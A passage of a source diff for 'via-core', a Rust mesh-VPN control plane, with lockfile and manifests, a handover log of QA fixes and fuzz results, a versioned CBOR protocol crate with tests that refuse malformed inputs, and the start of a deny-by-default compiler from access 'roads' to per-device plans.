checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
[[package]]
name = "winnow"
version = "1.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8c3b93199df0ab874cdf0c6a94f0a0dc3423fe41f1cafb62b8bd7b1deb277aef"
dependencies = [
"memchr",
]
[[package]]
name = "zerocopy"
version = "0.8.65"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32bc8a75f879cd6fe53a6bedf3c28f0e1b914c77424fc2be9e2ec85d7d25aff5"
dependencies = [
"zerocopy-derive",
]
[[package]]
name = "zerocopy-derive"
version = "0.8.65"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b8bfd2644ea1681f60cf95029ff18aa8ad1cc3f7b8fe37286f8e473bb29f816b"
dependencies = [
"proc-macro2",
"quote",
"syn 2.0.119",
]
[[package]]
name = "zmij"
version = "1.0.23"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b"
+30
View File
@@ -0,0 +1,30 @@
[workspace]
resolver = "3"
members = ["crates/roads", "crates/proto", "crates/via-cli"]
[workspace.package]
version = "0.1.0"
edition = "2024"
rust-version = "1.88"
license = "CPAL-1.0"
repository = "https://gitea.marek-novak.cz/mnovak/via-core"
publish = false
[workspace.dependencies]
roads = { path = "crates/roads" }
proto = { path = "crates/proto" }
serde = { version = "1", features = ["derive"] }
serde_json = "1"
jiff = { version = "0.2", default-features = false, features = ["std"] }
ipnet = "2"
base64 = "0.22"
ciborium = "0.2"
sha2 = "0.10"
proptest = "1"
tempfile = "3"
[workspace.lints.rust]
unsafe_code = "forbid"
[profile.release]
codegen-units = 1
+94
View File
@@ -0,0 +1,94 @@
# Handover — via-core
Newest entry first. Where this file and the code disagree, the code wins and the next entry says so.
## 2026-11-26 — v0.1.0 (owner session)
**Released:** `v0.1.0`, an annotated tag on the `--no-ff` merge of PR #1 into `main`, plus a Gitea release. Mark
chose "Tag + Gitea release now"; Artifex signing comes later. **Not audited.**
**Since the 2026-11-25 entry:**
- `3b39ce1`, Mark's decision: a person or group grant leaves classic devices out. They are reached only by their own
`device:` road; test `a_person_grant_never_covers_their_classic_device`.
- The pipeline `linux` (`.fabrica/artifex/linux.yaml`) and a toolchain-only flake (`nix develop .#ci`, nixos-26.05)
for Fabrica's NixOS runner. The library is unchanged since `3b39ce1`.
**Counts:**
| Run | Where | Result |
|:--|:--|:--|
| `cargo test --workspace` (debug and release) | Windows 10, cargo 1.99.0, at `3b39ce1` | 91 passed / 0 / 0 each |
| `cargo test --workspace` (debug and release) | **Linux**: Fabrica `nixos-vm` runner, run `rpnb803g4v0t0`, at `63eaed5` | 182 passed / 0 / 0 in total (91 each); exit 0, 164 s. This closes QA F-11 |
| fuzz `road_file` | Windows, at `3b39ce1` | 601 s, 228,925 executions, 0 crashes (at 100 % CPU) |
| fuzz `envelope` | Windows, at `3b39ce1` | 601 s, 12,748,163 executions, 0 crashes |
| clippy, fmt, `cargo deny`, `cargo audit` | Windows, at `7342659` | clean |
**Still open (recorded, not fixed):** B-1, a replayable plan; Day 3 wraps every plan in a signed envelope with
`serial` and `expires`, in via's `crates/control`. F-12, case-sensitive ids. F-13, which blocks the Day 5 web view.
## 2026-11-25 — QA findings fixed on `feature/roads` (owner session)
**Who owns this:** the Via owner session. It reviews, merges `--no-ff` and tags `v0.1.0`. Mark's decisions
go through the orchestrator session.
**Where it stands:** PR #1 (`feature/roads`) is open, not merged, not tagged. QA's review (head `635d380`)
found one blocker and five majors in the model; all are fixed on the branch, one commit each, each removing
the `#[ignore]` of its finding's test in `tests/qa_findings.rs`. `main` still holds only the bootstrap.
**Build described:** Windows 10, `cargo 1.99.0` / `rustc 1.99.0` stable MSVC, debug profile, at the branch
head named in the PR.
| Run | Result |
|:--|:--|
| `cargo test --workspace` | **91 passed, 0 failed, 0 ignored** (debug and `--release`) |
| `cargo clippy --workspace --all-targets -- -D warnings` | clean |
| `cargo fmt --all --check` | clean |
| `cargo deny check` | advisories ok, bans ok, licenses ok, sources ok |
| `cargo audit` | 80 crates, 0 vulnerabilities |
| fuzz `road_file` | **631 s, 807,395 executions, 0 crashes, 0 artifacts** (features 7,711 → 9,819; corpus 1,080 → 1,289), built at `7342659`, Windows MSVC, SanitizerCoverage, no sanitizer |
| fuzz `envelope` | **331 s, 17,441,113 executions, 0 crashes** (features 5,096 → 5,256), same build |
Per file: `proto/roundtrip` 6 · `roads` unit 16 · `attacks` 8 · `custom` 6 · `determinism` 4 · `explain` 6 ·
`least_privilege` 6 (P-1 5,000 cases: 1,706 with rules, 4,420 rules and 7,784 allowed IPs checked against the
oracle; P-6v6 1,000) · `qa_findings` 13 · `rename` 4 · `revocation` 10 · `validation` 5 (83 fixture files, 65
rules) · `via-cli/cli` 7.
**What changed after QA** (details in `docs/02_via-core.md`, "QA review of PR #1"):
| # | Change |
|:--|:--|
| F-01 | services may have their own mesh address (`devices.json` `services[].address`); a road to a service that shares its address and a port with another is `service.shared`; plans list the device's service addresses (`services[]`); a `device:` road reaches all of the device's addresses |
| F-02 | `direct.mesh`, `direct.tunnelled`, and `direct[].except` (tunnelled nets that stay in the tunnel) |
| F-03 | a kill-switch road with an error fails closed, through no exit |
| F-04 | a dangling owner or group member is reported and drops only itself (`devices.owner-unknown`, `directory.member-unknown`) |
| F-05 | custom blocks on a classic device are labelled classic |
| F-06 | cross-family roads give nothing to those devices and are reported (`road.family`) |
| F-07 | no `roads/`, or a `roads/` that is a file or a link, is `store.roads` |
| F-08 | mesh addresses are never internet addresses |
| F-09 | `until:` / `ports:` present but empty is `key.empty` |
| F-10 | P-6v6: IPv6 compiles like IPv4, by embedding into `fd00::/96` |
| B-3 | `app:` roads need `on:` (person, group or device) and reach only those devices |
| R-55 | QA's renaming property was flaky (a group renamed to `in`); fixed in the test, seed pinned |
| Mark | "Leave classic out" (2026-11-25): person and group grants cover only post-quantum devices; a classic device needs its own `device:` road with `classic: true`. Test `revocation.rs::a_person_grant_never_covers_their_classic_device`, mutation-checked |
The plan format gained `services` and `direct[].except`. Format 1 has not been released, so it changed in
place; the golden plans and the pinned CBOR digest were regenerated and the diff read by hand.
**Not fixed, recorded** (`docs/02_via-core.md`, Gaps):
- **B-1** proto v1 has no serial: Day 3's signed v2 carries a monotonic serial and `not_after`.
- **F-13** `explain` and `check` answer as an administrator: **blocks the Day 5 web view**.
- **F-12** ids are case-sensitive: decide with the people directory.
- **F-11** never run on Linux (WSL does not start on this PC): wanted before the tag.
- A kill-switch file that does not *parse* applies nothing (only reported).
**Decisions taken here that Mark may want to see:** services get their own mesh address (no Ianitor identity
check needed); `except` makes the tunnel win over going direct; app roads need `on:`.
**Next:** merge `--no-ff` into `main`, push, `git rev-parse HEAD origin/main` twice, tag `v0.1.0`, per
`F:\Akce\Via\handover\MERGE-PLAN.md`, once the Linux question (F-11) and the signed-release question are answered.
## 2026-11-25 — Day 2 built (builder), reviewed (QA)
The road model, validator, compiler, `explain`, the versioned CBOR control messages and the `via` command:
72 tests by the builder; QA added the renaming property, nine finding tests and two fuzz targets
(`road_file` 721 s, 1,116,471 executions; `envelope` 331 s; no crash; Windows, no sanitizer).
+21
View File
@@ -0,0 +1,21 @@
[package]
name = "proto"
description = "Via Domi: the control-plane messages, CBOR, versioned"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
repository.workspace = true
publish.workspace = true
[dependencies]
roads.workspace = true
serde.workspace = true
ciborium.workspace = true
sha2.workspace = true
[dev-dependencies]
jiff.workspace = true
[lints]
workspace = true
+208
View File
@@ -0,0 +1,208 @@
//! Via Domi's control-plane messages: CBOR (RFC 8949), versioned (docs/FORMATS.md, "The control protocol").
//!
//! Decoding reads the version first and refuses anything else before the body is looked at; then it refuses
//! unknown fields, missing fields, trailing bytes and messages over 1 MiB. Encoding is deterministic.
//! Version 1 carries no signatures: Day 3 adds them with the device's Tessera key, as version 2.
#![forbid(unsafe_code)]
use roads::{DeviceKey, Plan};
use serde::{Deserialize, Serialize};
use sha2::{Digest as _, Sha256};
use std::fmt;
pub const VERSION: u16 = 1;
pub const MAX_MESSAGE: usize = 1024 * 1024;
/// Deepest CBOR nesting decoded; a plan is about 6 levels deep.
pub const MAX_DEPTH: usize = 32;
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Envelope {
pub v: u16,
pub body: Body,
}
// A message lives for one send or receive; boxing the plan would buy nothing.
#[allow(clippy::large_enum_variant)]
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case", deny_unknown_fields)]
pub enum Body {
/// A device asks for its plan; `have` is the digest it already holds.
PlanRequest {
device: DeviceKey,
have: Option<Digest>,
},
/// The plan and the digest of its CBOR encoding.
Plan {
digest: Digest,
plan: Plan,
},
/// The device applied the plan with this digest.
PlanAck {
device: DeviceKey,
digest: Digest,
},
Refused {
code: RefusalCode,
message: String,
},
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum RefusalCode {
UnknownDevice,
BadRequest,
Unavailable,
}
/// SHA-256, as 64 lowercase hex characters.
#[derive(Clone, PartialEq, Eq, Hash)]
pub struct Digest([u8; 32]);
impl Digest {
pub fn of(bytes: &[u8]) -> Digest {
Digest(Sha256::digest(bytes).into())
}
pub fn to_hex(&self) -> String {
self.0.iter().map(|b| format!("{b:02x}")).collect()
}
pub fn from_hex(s: &str) -> Option<Digest> {
if s.len() != 64
|| !s
.bytes()
.all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
{
return None;
}
let mut out = [0u8; 32];
for (i, chunk) in s.as_bytes().chunks(2).enumerate() {
out[i] = u8::from_str_radix(std::str::from_utf8(chunk).ok()?, 16).ok()?;
}
Some(Digest(out))
}
}
impl fmt::Debug for Digest {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Digest({})", self.to_hex())
}
}
impl Serialize for Digest {
fn serialize<S: serde::Serializer>(&self, s: S) -> Result<S::Ok, S::Error> {
s.serialize_str(&self.to_hex())
}
}
impl<'de> Deserialize<'de> for Digest {
fn deserialize<D: serde::Deserializer<'de>>(d: D) -> Result<Self, D::Error> {
let s = String::deserialize(d)?;
Digest::from_hex(&s)
.ok_or_else(|| serde::de::Error::custom("a digest is 64 lowercase hex characters"))
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Error {
TooLarge(usize),
/// Not one well-formed CBOR item, or nested deeper than [`MAX_DEPTH`].
Malformed(String),
TrailingBytes(usize),
/// No `v`, or `v` is not an unsigned integer.
NoVersion,
UnsupportedVersion(u64),
/// The body does not match version 1: an unknown or missing field, a bad key or digest.
Invalid(String),
/// A `plan` whose digest is not the digest of its plan.
DigestMismatch,
}
impl fmt::Display for Error {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Error::TooLarge(n) => write!(f, "a message of {n} bytes is larger than {MAX_MESSAGE}"),
Error::Malformed(m) => write!(f, "not one CBOR item: {m}"),
Error::TrailingBytes(n) => write!(f, "{n} bytes after the message"),
Error::NoVersion => f.write_str("no protocol version"),
Error::UnsupportedVersion(v) => write!(
f,
"protocol version {v} is not supported (this build speaks {VERSION})"
),
Error::Invalid(m) => write!(f, "not a version {VERSION} message: {m}"),
Error::DigestMismatch => f.write_str("the plan's digest does not match the plan"),
}
}
}
impl std::error::Error for Error {}
fn to_cbor<T: Serialize>(value: &T) -> Vec<u8> {
let mut out = Vec::new();
ciborium::into_writer(value, &mut out).expect("writing CBOR to a Vec cannot fail");
out
}
/// The CBOR encoding of a plan, which its digest covers.
pub fn plan_cbor(plan: &Plan) -> Vec<u8> {
to_cbor(plan)
}
pub fn plan_digest(plan: &Plan) -> Digest {
Digest::of(&plan_cbor(plan))
}
impl Envelope {
pub fn new(body: Body) -> Envelope {
Envelope { v: VERSION, body }
}
/// A `plan` message, its digest computed here.
pub fn plan(plan: Plan) -> Envelope {
Envelope::new(Body::Plan {
digest: plan_digest(&plan),
plan,
})
}
pub fn encode(&self) -> Vec<u8> {
to_cbor(self)
}
pub fn decode(bytes: &[u8]) -> Result<Envelope, Error> {
if bytes.len() > MAX_MESSAGE {
return Err(Error::TooLarge(bytes.len()));
}
let mut reader = bytes;
let value: ciborium::Value =
ciborium::de::from_reader_with_recursion_limit(&mut reader, MAX_DEPTH)
.map_err(|e| Error::Malformed(e.to_string()))?;
if !reader.is_empty() {
return Err(Error::TrailingBytes(reader.len()));
}
let ciborium::Value::Map(entries) = &value else {
return Err(Error::NoVersion);
};
let v = entries
.iter()
.find(|(k, _)| k.as_text() == Some("v"))
.and_then(|(_, v)| v.as_integer())
.ok_or(Error::NoVersion)?;
let v = u64::try_from(v).map_err(|_| Error::NoVersion)?;
if v != VERSION as u64 {
return Err(Error::UnsupportedVersion(v));
}
let env: Envelope = value
.deserialized()
.map_err(|e| Error::Invalid(e.to_string()))?;
if let Body::Plan { digest, plan } = &env.body
&& plan_digest(plan) != *digest
{
return Err(Error::DigestMismatch);
}
Ok(env)
}
}
+1
View File
@@ -0,0 +1 @@
8eaa80e6c40ff1541d125f0755fbdddc775f9210e830f2868d4b5e5cf05c1fa4
+248
View File
@@ -0,0 +1,248 @@
//! The control protocol: plans survive CBOR byte for byte (custom raw blocks and the classic flag included,
//! QA R-44), encoding is deterministic, and decoding refuses what version 1 does not say.
use proto::{Body, Digest, Envelope, Error, MAX_MESSAGE, RefusalCode, plan_cbor};
use roads::{DeviceKey, Plan, Store, compile};
use std::path::PathBuf;
fn plans() -> Vec<Plan> {
let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../roads/tests/fixtures/home");
let store = Store::load_dir(&dir).unwrap();
let now: jiff::Timestamp = "2026-11-25T12:00:00+01:00".parse().unwrap();
compile(&store, now).plans.into_values().collect()
}
fn router() -> Plan {
plans().into_iter().find(|p| p.name == "router").unwrap()
}
#[test]
fn every_plan_round_trips_and_encodes_the_same_twice() {
let all = plans();
assert_eq!(all.len(), 7);
for plan in all {
let env = Envelope::plan(plan.clone());
let a = env.encode();
assert_eq!(
a,
Envelope::plan(plan.clone()).encode(),
"{}: two encodings differ",
plan.name
);
let back = Envelope::decode(&a).unwrap();
assert_eq!(back, env);
assert_eq!(
back.encode(),
a,
"{}: decode → encode changed bytes",
plan.name
);
}
}
#[test]
fn the_custom_block_and_the_classic_flag_survive_cbor() {
let plan = router();
assert!(plan.classic);
assert_eq!(plan.custom.len(), 1);
let raw = plan.custom[0].raw.clone();
assert!(raw.contains("MTU = 1380 \n"), "trailing spaces kept");
let Body::Plan { plan: back, .. } = Envelope::decode(&Envelope::plan(plan.clone()).encode())
.unwrap()
.body
else {
panic!()
};
assert_eq!(back.custom[0].raw, raw);
assert!(back.classic && back.custom[0].classic);
let server = plans()
.into_iter()
.find(|p| p.name == "home-server")
.unwrap();
let Body::Plan { plan: back, .. } = Envelope::decode(&Envelope::plan(server).encode())
.unwrap()
.body
else {
panic!()
};
assert!(
back.peers
.iter()
.find(|p| p.name == "router")
.unwrap()
.classic,
"the router peer lost its classic mark"
);
}
#[test]
fn the_plan_digest_is_pinned() {
// A change in the CBOR library or the plan's field order shows here first. Update only on purpose, with a
// protocol version change if it alters what is on the wire.
let plan = plans()
.into_iter()
.find(|p| p.name == "jana-phone")
.unwrap();
let d = Digest::of(&plan_cbor(&plan)).to_hex();
assert_eq!(
d,
include_str!("jana-phone.digest").trim(),
"jana-phone's plan encodes differently"
);
}
fn cbor(v: &ciborium::Value) -> Vec<u8> {
let mut out = Vec::new();
ciborium::into_writer(v, &mut out).unwrap();
out
}
fn value_of(env: &Envelope) -> ciborium::Value {
ciborium::de::from_reader(&env.encode()[..]).unwrap()
}
fn set(v: &mut ciborium::Value, key: &str, to: ciborium::Value) {
let ciborium::Value::Map(m) = v else { panic!() };
match m.iter_mut().find(|(k, _)| k.as_text() == Some(key)) {
Some(e) => e.1 = to,
None => m.push((ciborium::Value::Text(key.into()), to)),
}
}
#[test]
fn decoding_refuses_what_version_1_does_not_say() {
let ack = Envelope::new(Body::PlanAck {
device: DeviceKey::from_bytes(&[3; 32]),
digest: Digest::of(b"x"),
});
assert_eq!(Envelope::decode(&ack.encode()).unwrap(), ack);
// Another version is refused before the body is read, even when the body is nonsense.
let mut v = value_of(&ack);
set(&mut v, "v", ciborium::Value::Integer(2.into()));
set(&mut v, "body", ciborium::Value::Text("anything".into()));
assert_eq!(
Envelope::decode(&cbor(&v)),
Err(Error::UnsupportedVersion(2))
);
// No version, or not a map at all.
let ciborium::Value::Map(m) = value_of(&ack) else {
panic!()
};
let no_v = ciborium::Value::Map(
m.into_iter()
.filter(|(k, _)| k.as_text() != Some("v"))
.collect(),
);
assert_eq!(Envelope::decode(&cbor(&no_v)), Err(Error::NoVersion));
assert_eq!(
Envelope::decode(&cbor(&ciborium::Value::Integer(1.into()))),
Err(Error::NoVersion)
);
// An unknown field at the top and deep inside a plan.
let mut v = value_of(&ack);
set(&mut v, "signature", ciborium::Value::Bytes(vec![0; 64]));
assert!(matches!(
Envelope::decode(&cbor(&v)),
Err(Error::Invalid(_))
));
let mut v = value_of(&Envelope::plan(router()));
if let ciborium::Value::Map(m) = &mut v {
let body = &mut m
.iter_mut()
.find(|(k, _)| k.as_text() == Some("body"))
.unwrap()
.1;
let ciborium::Value::Map(b) = body else {
panic!()
};
let ciborium::Value::Map(inner) = &mut b[0].1 else {
panic!()
};
let plan = &mut inner
.iter_mut()
.find(|(k, _)| k.as_text() == Some("plan"))
.unwrap()
.1;
set(plan, "allowed_everything", ciborium::Value::Bool(true));
}
assert!(matches!(
Envelope::decode(&cbor(&v)),
Err(Error::Invalid(_))
));
// A malformed key, trailing bytes, garbage, oversize, deep nesting.
let mut v = value_of(&ack);
if let ciborium::Value::Map(m) = &mut v {
let body = &mut m
.iter_mut()
.find(|(k, _)| k.as_text() == Some("body"))
.unwrap()
.1;
let ciborium::Value::Map(b) = body else {
panic!()
};
set(
&mut b[0].1,
"device",
ciborium::Value::Text("AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQF".into()),
);
}
assert!(matches!(
Envelope::decode(&cbor(&v)),
Err(Error::Invalid(_))
));
let mut bytes = ack.encode();
bytes.push(0);
assert_eq!(Envelope::decode(&bytes), Err(Error::TrailingBytes(1)));
assert!(matches!(
Envelope::decode(&[0xff, 0x00, 0x13]),
Err(Error::Malformed(_))
));
assert!(matches!(Envelope::decode(&[]), Err(Error::Malformed(_))));
assert_eq!(
Envelope::decode(&vec![0u8; MAX_MESSAGE + 1]),
Err(Error::TooLarge(MAX_MESSAGE + 1))
);
let deep = [vec![0x81u8; 10_000], vec![0x01]].concat();
assert!(
matches!(Envelope::decode(&deep), Err(Error::Malformed(_))),
"deep nesting must be refused, not overflow"
);
}
#[test]
fn a_plan_whose_digest_does_not_match_is_refused() {
let plan = router();
let wrong = Envelope::new(Body::Plan {
digest: Digest::of(b"another plan"),
plan,
});
assert_eq!(
Envelope::decode(&wrong.encode()),
Err(Error::DigestMismatch)
);
}
#[test]
fn refusals_and_requests_round_trip() {
for body in [
Body::PlanRequest {
device: DeviceKey::from_bytes(&[1; 32]),
have: None,
},
Body::PlanRequest {
device: DeviceKey::from_bytes(&[1; 32]),
have: Some(Digest::of(b"old")),
},
Body::Refused {
code: RefusalCode::UnknownDevice,
message: "no such device".into(),
},
] {
let env = Envelope::new(body);
assert_eq!(Envelope::decode(&env.encode()).unwrap(), env);
}
}
+23
View File
@@ -0,0 +1,23 @@
[package]
name = "roads"
description = "Via Domi: the road model, its validator and the compiler from roads to per-device plans"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
repository.workspace = true
publish.workspace = true
[dependencies]
serde.workspace = true
serde_json.workspace = true
jiff.workspace = true
ipnet.workspace = true
base64.workspace = true
[dev-dependencies]
proptest.workspace = true
tempfile.workspace = true
[lints]
workspace = true
+978
View File
@@ -0,0 +1,978 @@
//! The compiler: roads + people directory + device list + `now` → one [`Plan`] per device.
//!
//! Deny by default. A road with any error grants nothing; a valid road that is expired, or whose subject has no
//! devices, grants nothing and is reported as inactive. Restrictions fail closed instead: a kill-switch road
//! with an error still turns its subject's kill switch on, through no exit (only the mesh), QA F-03. Without both snapshots no plan is produced at all.
//! Every collection on the output path is ordered, so the same input gives the same bytes.
use crate::id::RoadId;
use crate::ids::{AppId, DeviceKey, Hostname};
use crate::net::Net;
use crate::plan::{self, Action, Direction, Dst, Firewall, Plan};
use crate::ports::{self, PortSpec, Proto};
use crate::problem::Problem;
use crate::road::{Body, Place, Road, Subject, Verb};
use crate::rules as r;
use crate::snapshot::{Devices, Directory};
use crate::store::Store;
use jiff::Timestamp as Instant;
use std::collections::{BTreeMap, BTreeSet};
/// One thing a road lets one device do, before it is folded into plans.
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)]
pub enum Grant {
/// `from` may send to `dst`, which `host` owns (its address) or routes (a subnet, `forward`).
Reach {
road: RoadId,
from: DeviceKey,
host: DeviceKey,
dst: Net,
forward: bool,
/// `None`: all traffic.
ports: Option<Vec<PortSpec>>,
dns: Option<Hostname>,
via: Option<DeviceKey>,
},
/// `from` sends its internet traffic through `exit`.
Exit {
road: RoadId,
from: DeviceKey,
exit: DeviceKey,
},
}
impl Grant {
pub fn road(&self) -> &RoadId {
match self {
Grant::Reach { road, .. } | Grant::Exit { road, .. } => road,
}
}
pub fn from(&self) -> &DeviceKey {
match self {
Grant::Reach { from, .. } | Grant::Exit { from, .. } => from,
}
}
}
/// The compiler's output.
#[derive(Debug, Clone, Default)]
pub struct Compiled {
/// One plan per device in `devices.json`; empty when a snapshot has an error.
pub plans: BTreeMap<DeviceKey, Plan>,
/// The store's problems and the compiler's, sorted.
pub problems: Vec<Problem>,
/// What the active roads grant, in road order.
pub grants: Vec<Grant>,
}
impl Compiled {
pub fn errors(&self) -> impl Iterator<Item = &Problem> {
self.problems.iter().filter(|p| p.is_error())
}
/// Whether the snapshots were good enough to produce plans.
pub fn has_plans(&self) -> bool {
!self.plans.is_empty()
}
}
type DirectKey = (Option<AppId>, Net);
type RuleKey = (Direction, Net, Dst, Proto, Option<[u16; 2]>);
#[derive(Default)]
struct Extras {
direct: BTreeMap<DirectKey, BTreeSet<RoadId>>,
kill: BTreeMap<DeviceKey, BTreeSet<RoadId>>,
/// Kill-switch roads with an error: applied closed, through no exit.
kill_closed: BTreeSet<RoadId>,
custom: Vec<plan::Custom>,
}
impl Extras {
fn has_kill_switch(&self) -> bool {
!self.kill.is_empty() || !self.kill_closed.is_empty()
}
}
/// The devices a subject covers: a person's are the post-quantum devices they own; a group's, its members';
/// an app's, those of its `on` (QA B-3: never every device of the mesh). A classic (not post-quantum) device is
/// never covered by a person or a group: it is reached only by a `device:` road of its own, which says
/// `classic: true` (Mark, 2026-11-25: "Leave classic out").
pub fn subject_devices(
subject: &Subject,
on: Option<&Subject>,
dir: &Directory,
devs: &Devices,
) -> BTreeSet<DeviceKey> {
if let Subject::App(_) = subject {
return match on {
Some(s @ (Subject::Person(_) | Subject::Group(_) | Subject::Device(_))) => {
subject_devices(s, None, dir, devs)
}
_ => BTreeSet::new(),
};
}
devs.devices
.values()
.filter(|d| match subject {
Subject::Person(p) => !d.classic && d.owner.as_ref() == Some(p),
Subject::Group(g) => {
!d.classic
&& dir
.groups
.get(g)
.is_some_and(|g| d.owner.as_ref().is_some_and(|o| g.members.contains(o)))
}
Subject::Device(k) => &d.key == k,
Subject::App(_) => false,
})
.map(|d| d.key.clone())
.collect()
}
/// Post-quantum devices by owner, built once per compile so resolving a subject does not scan every device.
/// Classic devices are left out: no person or group grant covers them.
struct Index {
by_owner: BTreeMap<crate::ids::PersonId, BTreeSet<DeviceKey>>,
}
impl Index {
fn new(devs: &Devices) -> Index {
let mut by_owner: BTreeMap<_, BTreeSet<DeviceKey>> = BTreeMap::new();
for d in devs.devices.values().filter(|d| !d.classic) {
if let Some(o) = &d.owner {
by_owner.entry(o.clone()).or_default().insert(d.key.clone());
}
}
Index { by_owner }
}
/// The same answer as [`subject_devices`], from the index.
fn devices_of(
&self,
subject: &Subject,
on: Option<&Subject>,
dir: &Directory,
devs: &Devices,
) -> BTreeSet<DeviceKey> {
match subject {
Subject::Person(p) => self.by_owner.get(p).cloned().unwrap_or_default(),
Subject::Group(g) => dir
.groups
.get(g)
.map(|g| {
g.members
.iter()
.filter_map(|m| self.by_owner.get(m))
.flatten()
.cloned()
.collect()
})
.unwrap_or_default(),
Subject::Device(k) => devs
.devices
.contains_key(k)
.then(|| k.clone())
.into_iter()
.collect(),
Subject::App(_) => match on {
Some(s @ (Subject::Person(_) | Subject::Group(_) | Subject::Device(_))) => {
self.devices_of(s, None, dir, devs)
}
_ => BTreeSet::new(),
},
}
}
}
/// Checks a road against the snapshots. Every problem is an error: the road grants nothing.
fn check(
road: &Road,
dir: &Directory,
devs: &Devices,
subject: &BTreeSet<DeviceKey>,
) -> Vec<Problem> {
let mut out = Vec::new();
let p = |field: &str, code, msg: String| {
Problem::error(&road.path, Some(field), code, msg).at(road.line_of(field))
};
let (field, who) = match (&road.subject, &road.on) {
(Subject::App(_), Some(on)) => ("on", on),
(s, _) => ("subject", s),
};
match who {
Subject::Person(id) if !dir.people.contains_key(id) => out.push(p(
field,
r::SUBJECT_UNKNOWN,
format!("person `{id}` is not in directory.json"),
)),
Subject::Group(id) if !dir.groups.contains_key(id) => out.push(p(
field,
r::SUBJECT_UNKNOWN,
format!("group `{id}` is not in directory.json"),
)),
Subject::Device(k) if !devs.devices.contains_key(k) => out.push(p(
field,
r::SUBJECT_UNKNOWN,
format!("device {} is not in devices.json", k.short()),
)),
_ => {}
}
let mut classic_peers: Vec<&str> = Vec::new();
for k in subject {
if let Some(d) = devs.devices.get(k).filter(|d| d.classic) {
classic_peers.push(&d.name);
}
}
match &road.object {
Some(Place::Device(k)) => match devs.devices.get(k) {
None => out.push(p(
"object",
r::OBJECT_UNKNOWN,
format!("device {} is not in devices.json", k.short()),
)),
Some(d) if d.classic => classic_peers.push(&d.name),
Some(_) => {}
},
Some(Place::Exit(k)) => match devs.devices.get(k) {
None => out.push(p(
"object",
r::OBJECT_UNKNOWN,
format!("device {} is not in devices.json", k.short()),
)),
Some(d) => {
if !d.exit {
out.push(p(
"object",
r::OBJECT_NOT_EXIT,
format!("{} does not offer itself as an exit", d.name),
));
}
if d.classic {
classic_peers.push(&d.name);
}
}
},
Some(Place::Service(h)) => match devs.service(h) {
None => out.push(p(
"object",
r::OBJECT_UNKNOWN,
format!("no device in devices.json serves {h}"),
)),
Some((d, s)) => {
if d.classic {
classic_peers.push(&d.name);
}
if let Some(ports) = &road.ports
&& !ports::is_subset(ports, &s.ports)
{
let served: Vec<String> = s.ports.iter().map(|p| p.to_string()).collect();
out.push(p(
"ports",
r::PORTS_NOT_SERVED,
format!("{h} serves only {}", served.join(", ")),
));
}
// A firewall sees an address and a port, never a hostname. If another service answers on the
// same address and one of the same ports, a rule for this one opens that one too: refuse, and
// name it, rather than grant more than the road says (QA F-01).
let wanted = road.ports.as_deref().unwrap_or(&s.ports);
let mut shared: Vec<String> = d
.services
.iter()
.filter(|o| {
o.host != *h
&& o.endpoint(d) == s.endpoint(d)
&& ports::overlaps(Some(wanted), Some(&o.ports))
})
.map(|o| o.host.to_string())
.collect();
if !shared.is_empty() {
shared.sort();
out.push(p(
"object",
r::SERVICE_SHARED,
format!(
"{h} shares {} and its ports with {}, so a rule for it would open them too; give {h} its own `address` in devices.json, narrow `ports`, or write a device: road",
s.endpoint(d),
shared.join(", ")
),
));
}
}
},
Some(Place::Subnet(n)) if road.verb == Verb::CanReach => match devs.router_of(n) {
None => out.push(p(
"object",
r::SUBNET_UNROUTED,
format!("no device in devices.json routes {n}"),
)),
Some(d) if d.classic => classic_peers.push(&d.name),
Some(_) => {}
},
Some(Place::Subnet(n)) if road.verb == Verb::GoesDirect && n.prefix_len() > 0 => {
// Going direct never takes the mesh's own addresses out of the tunnel (QA F-02). The default
// route is the one exception: it keeps every tunnelled net in, as `except` (below).
let mut inside: Vec<&str> = devs
.mesh_addresses()
.filter(|(_, a)| n.contains_addr(&a.0))
.map(|(d, _)| d.name.as_str())
.collect();
if !inside.is_empty() {
inside.sort();
inside.dedup();
out.push(p(
"object",
r::DIRECT_MESH,
format!(
"{n} holds the mesh address of {}: mesh traffic never goes direct",
inside.join(", ")
),
));
}
}
Some(Place::Subnet(_)) => {}
None => {}
}
if let Some(v) = &road.via {
match devs.devices.get(v) {
None => out.push(p(
"via",
r::VIA_UNKNOWN,
format!("device {} is not in devices.json", v.short()),
)),
Some(d) if !d.relay && !d.exit => out.push(p(
"via",
r::VIA_NOT_RELAY,
format!("{} is neither a relay nor an exit", d.name),
)),
Some(_) => {}
}
}
let makes_peers = matches!(road.verb, Verb::CanReach | Verb::ExitsThrough);
if makes_peers && !classic_peers.is_empty() && !road.is_classic() {
classic_peers.sort();
classic_peers.dedup();
out.push(p(
"classic",
r::CLASSIC_UNACKNOWLEDGED,
format!(
"{} {} a classic WireGuard peer (not post-quantum): set `classic: true` to allow it",
classic_peers.join(", "),
if classic_peers.len() == 1 { "is" } else { "are" }
),
));
}
out
}
/// Compiles the store at `now`.
pub fn compile(store: &Store, now: Instant) -> Compiled {
let mut out = Compiled {
